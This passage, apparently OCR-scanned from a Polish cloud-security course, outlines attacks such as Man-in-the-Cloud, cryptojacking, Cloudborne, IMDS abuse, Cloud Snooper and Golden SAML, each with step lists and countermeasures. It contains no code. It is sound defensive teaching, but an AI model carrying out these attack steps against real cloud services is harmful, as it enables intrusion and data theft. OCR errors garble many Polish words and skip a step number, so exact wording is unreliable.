Uzyj przechwytywacza CryptoCoverageChecker, aby okresli¢ wyrazenie XPath zwigzane z elementem,
ktéry powinien zostaé podpisany lub zaszyfrowany.

Atak Man-in-the-Cloud (MITC).

Ataki MITC to zaawansowana wersja atakow MITM. W atakach MITM atakujgcy wykorzystuje exploit,
ktéry przechwytuje i manipuluje komunikacjg miedzy dwiema stronami, podczas gdy ataki MITC s3
przeprowadzane poprzez naduzywanie ustug synchronizacji plikdw w chmurze, takich jak Google Drive
lub DropBox, do kompromitacji danych, dowodzenia i kontroli (C&C), eksfiltracja danych i dostep
zdalny. Tokeny synchronizacji s uzywane do uwierzytelniania aplikacji w chmurze, ale nie sg w stanie
odréznic ztosliwego ruchu od normalnego ruchu. Atakujgcy wykorzystujg te stabos¢ kont w chmurze
do przeprowadzania atakéw MITC.
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Jak pokazano na rysunku, osoba atakujgca nakfania ofiare do zainstalowania ztosliwego kodu, ktéry
umieszcza token synchronizacji osoby atakujgcej na dysku ofiary. Nastepnie atakujgcy kradnie token
synchronizacji ofiary i wykorzystuje go do uzyskania dostepu do plikdw ofiary. Pdzniej atakujacy
przywraca ztosliwy token z oryginalnym zsynchronizowanym tokenem ofiary, przywracajac aplikacje
Dysk do pierwotnego stanu i pozostajgc niewykrytym.

Srodki zaradcze:

Uzyj bramki zabezpieczajgcej poczte e-mail, aby wykry¢ ataki socjotechniczne, ktére mogg prowadzic¢
do MITC.

Zaostrzenie zasad wygasania tokendw moze zapobiec tego rodzaju atakom.

Korzystaj z wydajnego oprogramowania antywirusowego, ktére moze wykrywaé i usuwac ztosliwe
oprogramowanie.

Zaimplementuj brokera bezpieczenstwa dostepu do chmury (CASB), aby monitorowac ruch w chmurze
pod katem wykrywania anomalii w generowanych instancjach.

Monitoruj dziatania pracownikéw, aby wykrywac¢ wszelkie istotne oznaki naduzy¢ tokendw
synchronizacji w chmurze.

Zaszyfruj dane przechowywane w chmurze i upewnij sie, ze klucze szyfrowania nie sg przechowywane
w tej samej ustudze w chmurze.

Zaimplementuj uwierzytelnianie dwusktadnikowe.
Atak Cloud Hoppera

Ataki typu ,cloud hopper” sg wyzwalane u dostawcédw ustug zarzgdzanych (MSP) i ich klientow. Po
pomysinym przeprowadzeniu ataku osoby atakujagce mogg uzyska¢ zdalny dostep do wtasnosci
intelektualnej i krytycznych informacji docelowego MSP oraz jego globalnych uzytkownikéw/klientow.
Atakujgcy przemieszczajg sie rédwniez poprzecznie w sieci, z jednego systemu do drugiego w
Srodowisku chmury, aby uzyskaé¢ dalszy dostep do poufnych danych dotyczacych podmiotéw
przemystowych, takich jak produkcja, organy rzagdowe, opieka zdrowotna i finanse. Atakujacy inicjujg
e-maile typu spear phishing z niestandardowym ztosliwym oprogramowaniem w celu przejecia kont
uzytkownikéw pracownikéw lub firm Swiadczgcych ustugi w chmurze w celu uzyskania poufnych
informacji. Atakujagcy moga réwniez uzywaé skryptéw opartych na poleceniach PowerShell i



PowerSploit do rekonesansu i gromadzenia informacji. Atakujacy wykorzystujg zebrane informacje do
uzyskiwania dostepu do innych systemoéw podtgczonych do tej same;j sieci. Aby przeprowadzic ten atak,
napastnicy wykorzystujg réwniez C&C do stron podszywajacych sie pod legalne domeny i bezplikowego
ztosliwego oprogramowania, ktére rezyduje i jest uruchamiane z pamieci. Atakujgcy tamig mechanizmy
bezpieczenstwa podszywajgc sie pod wazinego ustugodawce i uzyskujgc petny dostep do danych
korporacyjnych przedsiebiorstwa i podtgczonych klientéw. Jak pokazano na rysunku, osoba atakujgca
infiltruje docelowego dostawce MSP i dystrybuuje ztosliwe oprogramowanie w celu uzyskania
zdalnego dostepu. Atakujgcy nastepnie uzyskuje dostep do docelowych profili klientéw za pomocg
swojego konta MSP, kompresuje dane klientow i przechowuje je w MSP. Atakujgcy nastepnie
wyodrebnia informacje z MSP i uzywa tych informacji do przeprowadzania dalszych atakéw na
docelowag organizacje i uzytkownikow.

Srodki zaradcze:
Zaimplementuj uwierzytelnianie wielosktadnikowe, aby zapobiec naruszeniu poswiadczen.

Zapewnij wzajemng koordynacje miedzy klientami i CSP w przypadku nietypowych incydentéw lub
dziatan.

Upewnij sie, ze klienci znajg i przestrzegajg zasad ustugi w chmurze.

Uzyj kategoryzacji danych, aby zmniejszy¢ wptyw ataku i obronié sie przed wszelkim naruszeniem
bezpieczenstwa danych.

Wykorzystaj serwery przesiadkowe, aby zwiekszy¢ bezpieczenstwo i zapobiegac atakom typu ,,cloud
hopper”.

Cryptojacking w chmurze

Cryptojacking to nieautoryzowane uzycie komputera ofiary do potajemnego wydobywania cyfrowej
waluty. Ataki Cryptojacking sg bardzo lukratywne i obejmujg zaréwno zewnetrznych atakujacych, jak i
wewnetrznych nieuczciwych uzytkownikéw. Aby przeprowadzi¢ ten atak, napastnicy wykorzystujg
wektory ataku, takie jak btedna konfiguracja chmury, zainfekowane strony internetowe oraz luki w
zabezpieczeniach po stronie klienta lub serwera. Na przyktad osoba atakujgca wykorzystuje Zle
skonfigurowane instancje w chmurze, aby wstrzyknac¢ szkodliwy tadunek do wydobywania kryptowalut
na strone internetowy lub biblioteke innej firmy tadowang przez strone internetowg. Nastepnie
atakujacy zwabia ofiare do odwiedzenia ztosliwej strony internetowej, a kiedy ofiara otwiera te strone,
automatycznie uruchamia koparke kryptowalut w przegladarce ofiary za pomocg JavaScript.
Wykorzystujgc kryptokoparki oparte na JavaScript, takie jak CoinHive i Cryptoloot, osoby atakujace
moga tatwo osadzac ztosliwe skrypty do kopania kryptowalut w legalnych witrynach internetowych za
pomocg tgcza do CoinHive. Atakujgcy moze uczyni¢ ten atak bardziej ztozonym, ukrywajac ztosliwy
skrypt wydobywajacy kryptowaluty za pomocay réznych technik ukrywania, takich jak kodowanie,
przekierowania i zaciemnianie. Konfiguracja tadunku jest na ogét dynamiczna lub zakodowana na state.
Ataki typu cryptojacking mogg mie¢ powazny wptyw na strony internetowe, punkty koricowe, a nawet
caty infrastrukture chmury.

Etapy atakdéw typu cryptojacking w chmurze:

Krok 1: osoba atakujgca naraza ustuge w chmurze poprzez osadzenie ztosliwego skryptu do
wydobywania kryptowaluty.

Krok 2: Gdy ofiara taczy sie z zaatakowang ustugg w chmurze, skrypt wydobywajgcy kryptowaluty jest
wykonywany automatycznie.



Krok 3: Ofiara naiwnie zaczyna wydobywac kryptowalute w imieniu atakujgcego i dodaje nowy blok do
tancucha blokéw.

Krok 4: Za kazdy nowy blok dodany do taricucha blokowego atakujgcy otrzymuje nielegalnie nagrode
w postaci kryptowaluty.

Srodki zaradcze:
Upewnij sie, ze wdrozytes polityke silnych haset.
Zawsze przechowu;j trzy rézne kopie danych w réznych miejscach i jedng kopie poza siedzibg firmy.

Pamietaj o regularnym aktualizowaniu serwerdw sieciowych i urzadzen. Uzywaj zaszyfrowanych par
kluczy SSH zamiast haset do zabezpieczania dostepu do serweréw w chmurze.

Zaimplementuj adres URL CoinBlocker i czarng liste adreséw IP/blackholing w zaporze sieciowe;j.

Wykorzystaj monitorowanie w czasie rzeczywistym modelu obiektowego dokumentu (DOM) i
Srodowisk JavaScript w celu wykrywania i fagodzenia zto$liwych dziatarh na wczesnym etapie.

Korzystaj z najnowszych narzedzi antywirusowych, chronigcych przed ztosliwym oprogramowaniem i
blokujgcych reklamy w chmurze.

Zaimplementuj rozszerzenia przegladarki do skanowania i koriczenia skryptow podobnych do skryptu
gorniczego CoinHive.

Korzystaj z technologii zarzadzania bezpieczerdstwem punktéw koncowych, aby wykrywaé na
urzadzeniach wszelkie nieuczciwe aplikacje.

Przejrzyj wszystkie komponenty stron trzecich uzywane przez strony internetowe firmy.

Korzystaj z zaawansowanych narzedzi do monitorowania sieci, ktére sg w stanie identyfikowac
niewtasciwe uzycie zasobow procesora, wydobywanie i wachanie.

Nigdy nie lekcewaz nagtych skokdéw cen w rachunkach za wykorzystanie zasobéw w chmurze, poniewaz
wiekszos$¢é kopaczy kryptowalut wykorzystuje losowe zasoby chmury do przeprowadzania atakéw.

Upewnij sie, ze wszystkie instancje i ustugi w chmurze zostaty pomysinie zakoriczone na koniec dnia.
W przeciwnym razie mogg stac sie punktem wejscia dla hakeréw kryptograficznych.

Atak w chmurze

Cloudborne to luka w zabezpieczeniach serwera w chmurze, ktéra umozliwia atakujgcym wszczepienie
ztosliwego backdoora do jego oprogramowania uktadowego. Zainstalowany backdoor moze sie
utrzymywag, nawet jesli serwer zostanie przeniesiony do nowych klientéw lub firm, ktére uzywaja go
jako laaS. Serwery fizyczne nie sg ograniczone do jednego klienta i mogg by¢ przenoszone z jednego
klienta do drugiego. Podczas procesu odzyskiwania, jesli ponowne flashowanie oprogramowania
uktadowego (domyslne ustawienia fabryczne, catkowite wymazanie pamieci itp.) nie zostanie
prawidtowo zaimplementowane, backdoory mogg pozosta¢ aktywne w oprogramowaniu uktadowym
i przemieszczac sie po serwerze. Atakujgcy wykorzystujg luki w zabezpieczeniach supermikrosprzetu,
aby nadpisa¢ oprogramowanie uktadowe w kontrolerze zarzadzania ptytg gtéwna (BMC) serwera bez
systemu, ktéry jest uzywany do dziatan zwigzanych z zarzagdzaniem zdalnym, takich jak udostepnianie,
ponowna instalacja systemu operacyjnego i rozwigzywanie probleméw za posrednictwem
inteligentnego zarzadzania platforma interfejs (IPMI) bez dostepu fizycznego. Poniewaz BMC moze
zdalnie kontrolowaé serwery i udostepniaé¢ system nowym klientom, atakujgcy wybierajg go jako



gtéwny cel. Luki w zabezpieczeniach systemu bare-metal serwer w chmurze i niewtasciwe ponowne
flashowanie oprogramowania sprzetowego moze utorowac atakujgcym droge do zainstalowania i
utrzymania trwatosci backdoora. Nastepnie ztosliwe backdoory umozliwiajg atakujgcym bezposredni
dostep do sprzetu i obejscie mechanizmoéw bezpieczenstwa w celu wykonywania czynnosci, takich jak
monitorowanie dziatann nowych klientéw, wytgczanie aplikacji/serwera i przechwytywanie danych.
Dziatania te umozliwiajg atakujgcym przeprowadzanie atakéw ransomware na cel.

Srodki zaradcze:

Dostawcy CSP powinni aktualizowac¢ oprogramowanie uktadowe.

Oczys¢ oprogramowanie sprzetowe serwera przed przypisaniem go nowym klientom.
Sprawdz serwer pod katem implantéw i backdooréw przed wdrozeniem.

Regularnie sprawdzaj luki w oprogramowaniu sprzetowym.

Dostawcy CSP powinni sprawdzié, czy sprzet fizyczny nie zostat naruszony przed dostawa.
Atak Instance Metadata Service (IMDS).

Ustuga metadanych instancji (IMDS) dostarcza informacji o instancji, powigzanej z nig sieci oraz
oprogramowaniu skonfigurowanym do uruchamiania instancji. IMDS generuje rowniez poswiadczenia
dla rél powigzanych z instancja. Na podstawie przypisanej roli lub polityki oprogramowanie
skonfigurowane w instancji moze rowniez uzyskiwaé¢ dostep do zasobdw w chmurze. Atakujgcy
przeprowadzajg ataki IMDS, wykorzystujgc luke dnia zerowego w docelowym serwerze aplikacji lub
wykorzystujac  informacje ujawnione przez odwrotne proxy zaimplementowane przez
administratoréow. Gtéwnym zamiarem atakujgcych przeprowadzajgcych atak IMDS jest uzyskanie
nieautoryzowanego dostepu do zasobdéw sieciowych poprzez wtamanie sie do instancji. Jesli atakujgcy
z powodzeniem wykorzystajg luke dnia zerowego lub dane uwierzytelniajgce ujawnione przez
odwrotne proxy, mogg potaczyc sie z instancjg w chmurze i uzyskac poufne informacje, takie jak dane
uzytkownika i rozne role powigzane z tg instancja, ktére mozna dalej wykorzysta¢ do przeprowadzania
atakodw, takich jak jako uzyskiwanie dostepu i naduzywanie lub modyfikowanie zasobdw znajdujgcych
sie w chmurze.

Jak rozpoczyna sie atak

Po pierwsze, atakujgcy wykorzystuje luke dnia zerowego lub odwrotne proxy zaimplementowane na
docelowym serwerze aplikacji.

Atakujacy nastepnie naraza instancje chmury dziatajacg na serwerze i uzyskuje metadane instancji.

Nastepnie atakujacy wykorzystuje uzyskane poswiadczenia w celu uzyskania dostepu do zasobdéw
chmury.

Srodki zaradcze:
Uzyj IMDSv2 zamiast IMDSvI.
Wytgcz IMDS, gdy nie jest potrzebny.

Role nie powinny by¢ przypisywane do instancji, jesli nie s3 wymagane; w razie potrzeby przypisz rolom
najmniejsze uprawnienia.

Ogranicz dostep do IMDS podejrzanych uzytkownikow.



Cache Poisoned Denial of Service (CPDoS)/Content Delivery Network (CDN) Cache Poisoning Atak

W przypadku ataku CPDoS lub CDN z zatruciem pamieci podrecznej osoby atakujgce tworzg
znieksztatcone lub przewymiarowane zgdania HTTP, aby oszukaé¢ zrédtowy serwer WWW, aby
odpowiedziat ztosliwg lub btedng trescig, ktéra moze by¢ buforowana na serwerach sieci dostarczania
tresci (CDN). W zwigzku z tym szkodliwa lub oparta na btedach zawartos¢ jest buforowana na serwerze
CDN, ktdry dostarcza jg uprawnionym uzytkownikom, co skutkuje atakiem DoS na sie¢ docelowa. Atak
CPDoS moze nastgpi¢ z powodu btednej konfiguracji serweréw chronionych przez CDN, co skutkuje
przechowywaniem tresci internetowych lub stron z odpowiedziami na btedy z serwera zrédtowego.
Atakujacy moga wykorzystywaé techniki zatruwania pamieci podrecznej, aby uniemozliwic
uzytkownikom dostep do ustug w chmurze. Strona internetowa lub serwer mogg sta¢ sie niedostepne,
nawet jesli pojedyncze zgdanie HTTP zostanie zapisane w pamieci podrecznej i zatrute. Atak ten
umozliwia atakujgcym ztamanie funkcjonalnosci ustugi online docelowej witryny internetowej.

Kroki zatruwania pamieci podrecznej CDN w celu przeprowadzenia ataku DoS

Krok 1: osoba atakujgca zgda zasobu z docelowego serwera WWW, przesytajgc zgdanie zawierajgce
ztosliwy nagtédwek HTTP.

Krok 2: Jesli posredniczacy serwer CDN nie ma pamieci podrecznej zgdanej strony internetowej lub
zasobu, zgdanie jest przekazywane do pierwotnego serwera WWW, ktéry zwraca btad, poniewaz
zadanie jest ztosliwe.

Krok 3: Strona btedu jest zapisywana w pamieci podrecznej zamiast oryginalnej na serwerze CDN.

Krok 4: Teraz zamiast oryginalnej strony internetowej uzytkownicy otrzymujg zapisang w pamieci
podrecznej strone btedu, taka jak ,404 Not Found”, za kazdym razem, gdy prébujg uzyskac dostep do
zasobu.

Krok 5: Serwer CDN rozgtasza réwniez te samg strone btedu wsréd innych podtgczonych
uzytkownikéw, przez co legalne ustugi sg dla nich nieosiggalne.

Srodki zaradcze:

Skonfiguruj CDN, aby unikng¢ buforowania stron btedéw HTTP. Zaimplementuj zapore sieciowg
aplikacji (WAF). Monitoruj i eliminuj strony btedéw z pamieci podrecznej.

Atak Cloud Snoopera

Ataki Cloud Snooper sg wyzwalane w grupach bezpieczenstwa AWS (SG) w celu skompromitowania
serwera docelowego i potajemnego wydobycia poufnych danych. Atakujgcy wykonujg ten atak,
wykorzystujgc stabo skonfigurowang zapore sieciowg lub luki w zabezpieczeniach. Atakujacy uzywaja
roznych technik, aby oming¢ zabezpieczenia, takie jak zapory ogniowe, i uzyska¢ zdalng kontrole nad
docelowym serwerem. Atakujgcy wykorzystujg stabosé w SG, ktére majg zezwalaé tylko na ruch z
portédw docelowych 80 lub 443. Atakujacy instalujg rootkity, wykorzystujgc stabosci filtréw ruchu, ataki
na tancuch dostaw lub brutalne wymuszanie SSH. Atakujacy przesytajg swoje pakiety polecenr i kontroli
(C2), podszywajac sie pod legalny ruch. Nastepnie zainstalowany rootkit przechwytuje pakiety i
przekierowuje polecenia do trojana typu backdoor. Trojan wykonuje ztosliwe dziatania zgodnie z
poleceniami C2 otrzymanymi ze zdalnej maszyny. Kroki zwigzane z atakiem Cloud Snooper:

Krok 1: Atakujgcy wysytaja specjalnie utworzone pakiety C2 wraz z normalnym ruchem do serwera
docelowego za pomocg portéow docelowych 80 i 443, oszukujgc zapore obwodowa.



Krok 2: Zapora weryfikuje wszystkie przychodzace pakiety i przepuszcza je, poniewaz wszystkie pakiety
zawierajg porty 80 i 443 jako porty docelowe.

Krok 3: Teraz stuchacz w rootkicie przechwytuje ruch w kierunku serwera i odtwarza pakiety z portami
zrédtowymi 1010, 2020, 6060, 7070, 8080 lub 9999. Nastepnie stuchacz przesyta te pakiety do
backdoora zainstalowanego przez rootkita.

Krok 4: Trojan typu backdoor wykonuje teraz dziatania zgodnie z poleceniami C2 i wysyta dane z
powrotem do rootkita po pobraniu ich z serwera docelowego.

Krok 5: Rootkit ponownie rekonstruuje odebrane pakiety z portami zrédtowymi 80 i 443, aby oming¢
zapore ogniowg i wydoby¢ dane do atakujgcego. W tym przypadku zapora sieciowa zostaje ponownie
oszukana przez rootkita. Srodki zaradcze:

Upewnij sie, ze ruch sieciowy jest regularnie analizowany.
Upewnij sie, ze serwery WWW sg regularnie aktualizowane.
Zastosuj warstwowy model zabezpieczen.

Atak Golden Security Assertion Markup Language

Ataki Golden Security Assertion Markup Language (SAML) s3 realizowane w celu ukierunkowania
dostawcow tozsamosci w sieciach w chmurze, takich jak Active Directory Federation Service (ADFS),
ktére wykorzystujg protokét SAML do uwierzytelniania i autoryzacji uzytkownikéw. Atakujgcy
poczatkowo uzyskujg dostep administracyjny do profilu uzytkownika dostawcy tozsamosci i
wykorzystuja certyfikaty podpisywania tokendw do generowania sfatszowanych tokenéw SAML lub
odpowiedzi poprzez manipulowanie asercjami SAML. Dostep ten mozna uzyskaé poprzez przejecie
sesji, eskalacje uprawnien lub przesuniecie poprzeczne za pomocg wczesniej wykorzystanych luk w
zabezpieczeniach lub atakow.

Scenariusz ataku SAML

Krok 1: osoba atakujgca uzyskuje dostep do serwera ADFS (dostawcy tozsamosci) i kradnie certyfikat
oraz klucz szyfrowania, ktdre podpisujg potwierdzenie.

Krok 2: Gdy uzytkownik prébuje uzyska¢ dostep do wymaganej ustugi, dostawca ustug przekierowuje
zadanie do dostawcy tozsamosci.

Krok 4: Atakujgcy przechwytuje zgdanie przekierowania i odsyta odpowiedz SAML ze sfatszowanymi
wartosciami potwierdzenia przy uzyciu skradzionych kluczy.

Krok 5: Nastepnie dostawca ustug umozliwia atakujgcemu dostep do ustug federacyjnych powigzanych
z docelowym kontem uzytkownika.

Srodki zaradcze:

Stale monitoruj dziatania uzytkownikow.

Korzystaj z uwierzytelniania wielosktadnikowego i silnych haset.
Zaimplementuj dostep z najnizszymi uprawnieniami.

Analizuj srodowisko pod kgtem oznak ataku.

Aktualizuj certyfikaty w odpowiednim czasie.



Inne ataki w chmurze
Przejecie sesji za pomocg ataku typu Cross-Site Scripting (XSS).

Atakujgcy implementujg XSS w celu kradziezy plikdw cookie wykorzystywanych w procesie
uwierzytelniania uzytkownika; wigze sie to z wstrzyknieciem do witryny ztosliwego kodu, ktéry jest
nastepnie wykonywany przez przegladarke. Za pomocg skradzionych plikéw cookie osoby atakujace
wykorzystujg aktywne sesje komputera, uzyskujgc w ten sposéb nieautoryzowany dostep do danych.

Uwaga: osoby atakujgce moga rowniez przewidywac lub wachac identyfikatory sesji.
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Jak pokazano na rysunku, osoba atakujgca hostuje strone internetowg ze ztosliwym skryptem na
serwerze w chmurze. Gdy uzytkownik przeglada strone hostowang przez osobe atakujgcy, kod HTML
zawierajgcy ztosliwy skrypt jest uruchamiany w przegladarce uzytkownika. Ztosliwy skrypt zbiera i
wysyta pliki cookie uzytkownika oraz przekierowuje go na serwer atakujgcego.

Srodki zaradcze:

Korzystanie z bezpiecznych warstw gniazd (SSL), zapdr ogniowych, programoéw antywirusowych i
skaneréow kodéw moze chroni¢ chmure przed przejeciem ses;ji.

Przejecie sesji za pomocg Session Riding

Atakujgcy wykorzystujg strony internetowe, angazujac sie w fatszowanie zgdan miedzy witrynami w
celu przesytfania nieautoryzowanych polecen. Podczas jazdy w sesji napastnicy , kierujg” aktywng sesjg
komputera, wysytajagc wiadomos¢ e-mail lub naktaniajgc uzytkownikédw do odwiedzenia ztosliwej
strony internetowej podczas logowania do rzeczywistej witryny docelowej. Gdy uzytkownik kliknie
ztosliwy odsytacz, strona internetowa wykona zgdanie tak, jakby uzytkownik juz je uwierzytelnit.
Stosowane polecenia obejmujg modyfikacje lub usuwanie danych uzytkownika, przeprowadzanie
transakcji online, resetowanie haset itp.
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Jak pokazano na powyzszym rysunku, uzytkownik loguje sie do zaufanej witryny i tworzy nowg sesje.
Serwer przechowuje identyfikator sesji dla sesji w pliku cookie w przegladarce internetowej. Atakujgcy
naktania ofiare do odwiedzenia stworzonej przez niego ztosliwej strony internetowej. Atakujacy
nastepnie wysyta zgdanie do serwera w chmurze z przegladarki uzytkownika, uzywajac skradzionego
pliku cookie sesji.

Srodki zaradcze:
o Nie zezwalaj swojej przegladarce i stronom internetowym na zapisywanie danych logowania.

o Sprawdz nagtéwek strony odsytajgcej HTTP i podczas przetwarzania testu POST zignoruj parametry
adresu URL.

Ataki na system nazw domen (DNS).

Serwer DNS ttumaczy czytelng dla cztowieka nazwe domeny (np. www.google.com) na numeryczny
adres IP, ktory kieruje komunikacje miedzy weztami. Atakujgcy przeprowadzajg ataki DNS w celu
uzyskania pos$wiadczen uwierzytelniajgcych od uzytkownikéw Internetu.

Rodzaje atakéw DNS:

o Zatruwanie DNS: polega na przekierowywaniu uzytkownikéw na sfatszowang witryne internetowa
poprzez zatruwanie serwera DNS lub pamieci podrecznej DNS w systemie uzytkownika.

o Cybersquatting: obejmuje przeprowadzanie oszustw typu phishing poprzez rejestracje nazwy
domeny podobnej do CSP.

o Domain Hijacking: polega na kradziezy nazwy domeny CSP,

o Wycinanie domen: obejmuje rejestracje wygastej nazwy domeny.
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Jak pokazano na rysunku, atakujgcy przeprowadza zatruwanie pamieci podrecznej DNS, kierujac
uzytkownikéw na fatszywg strone internetowg. W tym przypadku uzytkownik wysyta zapytanie do
wewnetrznego serwera DNS w celu uzyskania informacji DNS (np. adresu IP www.xCloud.com).
Nastepnie wewnetrzny serwer DNS prosi odpowiedni serwer w chmurze o informacje DNS. W tym
momencie atakujgcy blokuje odpowiedZ DNS z serwera w chmurze i wysyta odpowiedz DNS z adresem
IP fatszywej strony internetowej do wewnetrznego serwera DNS. W ten sposdb wewnetrzna pamiec
podreczna serwera DNS aktualizuje sie o adresy IP fatszywych witryn internetowych i automatycznie
kieruje uzytkownikdéw do tych witryn.

Srodki zaradcze:

o Korzystanie z rozszerzen zabezpieczen systemu nazw domen (DNSSEC) w pewnym stopniu ogranicza
skutki zagrozen DNS.

Ataki typu SQL Injection

SQL to jezyk programowania przeznaczony dla systemow zarzgdzania bazami danych. W ataku typu
SQL injection atakujgcy atakujg serwery SQL, na ktérych dziatajg aplikacje bazy danych podatne na
ataki. Atakujacy wprowadzajg ztosliwy kod (wygenerowany przy uzyciu znakéw specjalnych) do
standardowego kodu SQL w celu uzyskania nieautoryzowanego dostepu do bazy danych, a ostatecznie
do innych poufnych informacji. Takie ataki sg zwykle przeprowadzane, gdy aplikacje uzywajg danych
wejsciowych do konstruowania dynamicznych instrukcji SQL. Ponadto osoby atakujgce mogg
manipulowaé zawartoscig bazy danych, pobiera¢ poufne dane, zdalnie wykonywac polecenia
systemowe, a nawet przejmowac kontrole nad serwerem WWW w celu wykonywania dodatkowych
dziatan przestepczych.
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Jak pokazano na rysunku, osoba atakujgca wykonuje wstrzykniecie kodu SQL do aplikacji internetowej
w chmurze, do ktdrej uzyskuje dostep uzytkownik, i uzyskuje dostep do poufnych informacji
przechowywanych w chmurze.

Srodki zaradcze:

o Uzyj technik filtrowania, aby oczysci¢ dane wprowadzane przez uzytkownika,

o Zweryfikuj dtugosé, zakres, format i typ danych wejsciowych,

o Regularnie aktualizuj i aktualizuj serwery i aplikacje.

o Uzywaj technologii monitorowania baz danych i systemoéw zapobiegania wtamaniom (IPS).
o Zaimplementuj zapore sieciowg opartg na chmurze.

Ataki kryptoanalizy

Niepewne lub przestarzate szyfrowanie sprawia, ze ustugi w chmurze sg podatne na kryptoanalize.
Dane obecne w chmurze moga zosta¢ zaszyfrowane, aby uniemozliwi¢ ich odczytanie w przypadku
uzyskania do nich dostepu przez ztosliwych uzytkownikow. Jednak krytyczne wady implementacji
algorytmow kryptograficznych (np. generowanie stabych liczb losowych) mogg sprawic, ze silne
szyfrowanie stanie sie stabe lub zepsute. Ponadto istniejg nowe metody tamania kryptografii.
Czesciowe informacje mozna rowniez uzyskaé z zaszyfrowanych danych, monitorujgc wzorce dostepu
do zapytan klientéw i analizujac dostepne pozycje.

Srodki zaradcze:

o Uzywaj generatordw liczb losowych, ktére generujg kryptograficznie bezpieczne liczby losowe, aby
zapewni¢ odpornos¢ materiatéw kryptograficznych, takich jak klucze SSH i DNSSEC.

o Nie uzywaj wadliwych algorytméw kryptograficznych.

o Uzywaj najnowszych i najsilniejszych procedur szyfrowania, ktére obejmujg solenie, mieszanie itp.



Ataki DoS i DDoS

Wykonywanie atakéw DoS na dostawcéw CSP moze pozbawié¢ najemcéw dostepu do ich kont. W
infrastrukturze chmury wielu dzierzawcow wspotdzieli procesor, pamieé, miejsce na dysku,
przepustowosc itp. Zatem jesli atakujacy uzyskajg dostep do chmury, generujg fatszywe dane, ktére
moga by¢ zgdaniami zasobdw lub typem kodu, ktéry moze dziataé w legalnych aplikacjach uzytkownicy.
Obliczanie takich zadan ztosliwego oprogramowania angazuje procesor, pamie¢ i wszystkie inne
urzadzenia serwera. Gdy serwer osiggnie limit progowy, zaczyna przenosi¢ swoje zadania na inny
serwer. To samo dzieje sie zinnymi serweramiinline, a ostatecznie atakujgcemu udaje sie zaangazowac
caty system chmurowy, po prostu ingerujagc w zwykte przetwarzanie jednego serwera. To sprawia, ze
legalni uzytkownicy chmury nie mogg uzyska¢ dostepu do jej ustug. DoS mozna przeprowadzi¢ poprzez
zalewanie serwera wieloma zgdaniami wykorzystania wszystkich dostepnych zasobdw systemowych,
przekazywanie zto$liwych danych wejsciowych do serwera, ktére powodujg awarie procesu aplikacji,
ciggte wprowadzanie btednych haset w celu zablokowania konta uzytkownika itp. Jesli atak DoS
zostanie rozpoczety za posrednictwem botnetu (sieci skompromitowanych maszyn), to jest to atak
DDoS. Atak DDoS polega na tym, ze wiele skompromitowanych systemoéw atakuje jeden cel,
powodujgc w ten sposéb odmowe ustugi dla uzytkownikéw docelowego systemu.
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Jak pokazano na powyzszym rysunku, atakujacy ustawia program obstugi, ktéry infekuje duzg liczbe
komputeréw przez Internet (sie¢ zombie). Nastepnie atakujgcy zalewa serwer w chmurze wieloma
zgdaniami, co powoduje zuzycie nadmiarowych zasobéw. W zwigzku z tym uprawnieni uzytkownicy
nie mogg uzyskac dostepu do ustug w chmurze.

Srodki zaradcze:
o Postepuj zgodnie z koncepcjg najmniejszych uprawnien dla uzytkownikéw taczacych sie z serwerem.

o Zainstaluj IDS zaréwno na fizycznych, jak i wirtualnych maszynach w chmurze, aby ztagodzi¢ ataki
DoS i DDoS.

Atak typu ,cztowiek w przegladarce”.

Ataki typu ,,cztowiek w przegladarce” sg ukierunkowane na przegladarke internetowg uzytkownika
poprzez wstrzykiwanie wyrafinowanego ztosliwego oprogramowania (np. botéow), ktére umozliwia
atakujgcym monitorowanie informacji udostepnianych miedzy przegladarka uzytkownika a aplikacja w
chmurze. Wstrzykniety kod przekazuje atakujgcym dane logowania uzytkownika, takie jak nazwa
uzytkownika i hasta. Nastepnie osoby atakujgce mogg zweryfikowac te dane uwierzytelniajgce na
serwerze w chmurze i wykonac ztosliwe dziatania w imieniu uzytkownika bez wiedzy uzytkownika.

Srodki zaradcze:

o Ogranicz dostep do ustug w chmurze, aby zabezpieczy¢ sie¢ przed nieuprawnionym dostepem.



0 Zintegruj rozwigzanie oparte na chmurze z kontrolowanymi systemami wykrywania wtaman, aby
wykrywac i powiadamiac¢ o nietypowych dziataniach uzytkownikéw.

o Ogranicz zakres adreséw IP i oferuj ustugi tylko przez VPN.
Atak fatszowania metadanych

Metadane ustug w chmurze opisujg szczegdty réznych ustug, takie jak lokalizacja komponentéw
sieciowych, wymagania dotyczgce bezpieczenstwa i formaty danych. Fatszowanie metadanych to
proces zmiany lub modyfikacji metadanych ustugi zapisanych w pliku Web Service Definitione
Language (WSDL), w ktdrym przechowywane s3 informacje dotyczace instancji ustugi. Po pomysinym
wdrozeniu zmanipulowanego pliku uzytkownicy chmury sg przekierowywani do nieznanych miejsc, co
przypomina proces fatszowania DNS.

Srodki zaradcze:
o Szyfruj i przechowuj szczegdty aplikacji i ustug w chmurze,
o Zaimplementuj kontrole integralnosci oparta na hashach, aby ograniczy¢ ataki typu spoofing.

o Dezaktywuj ustugi metadanych, ktére nie sg wymagane, wraz z niebezpiecznymi wersjami
metadanych.

o Wymuszanie zapér opartych na hoscie w celu ograniczenia dostepu do interfejsu APl metadanych
instancji.

Atak polegajacy na wstrzykiwaniu ztosliwego oprogramowania w chmurze

w atakach wstrzykiwania ztosliwego oprogramowania w chmurze osoby atakujgce instalujg
implementacje ztosliwych ustug lub maszyny wirtualne w ustugach w chmurze, ktdre dziatajg jako Saas,
PaaS lub laaS. Gdy chmura zostanie skutecznie wykorzystana, uzytkownik chmury jest
przekierowywany na strone internetowg osoby atakujacej, gdzie osoby atakujgce mogg wykonywac
takie czynnosci, jak podstuchiwanie komunikacji oraz kradziez i modyfikowanie danych.

Ztosliwe oprogramowanie w chmurze
Hildegarda

Hildegard to ztosliwe oprogramowanie w chmurze zaprojektowane do wykorzystywania Zle
skonfigurowanych kubeletéw w klastrze Kubernetes i infekowania wszystkich konteneréw obecnych
w Srodowisku Kubernetes. Hildegard pomaga atakujgcym w omijaniu rozwigzan bezpieczeristwa i
zmienianiu konfiguracji systemu w celu ukrycia ich obecnosci. To ztosliwe oprogramowanie porzuca
dwa gtédwne narzedzia, peirates i BotB, do wykorzystywania zasobéw w chmurze. Atakujgcy moga
przeprowadzaé przejmowanie zasobow, przechwytywanie kryptowalut, ataki DoS, erupcje aplikacji,
wydobywanie kryptowalut itp. Za pomoca tego ztosliwego oprogramowania.

Cechy
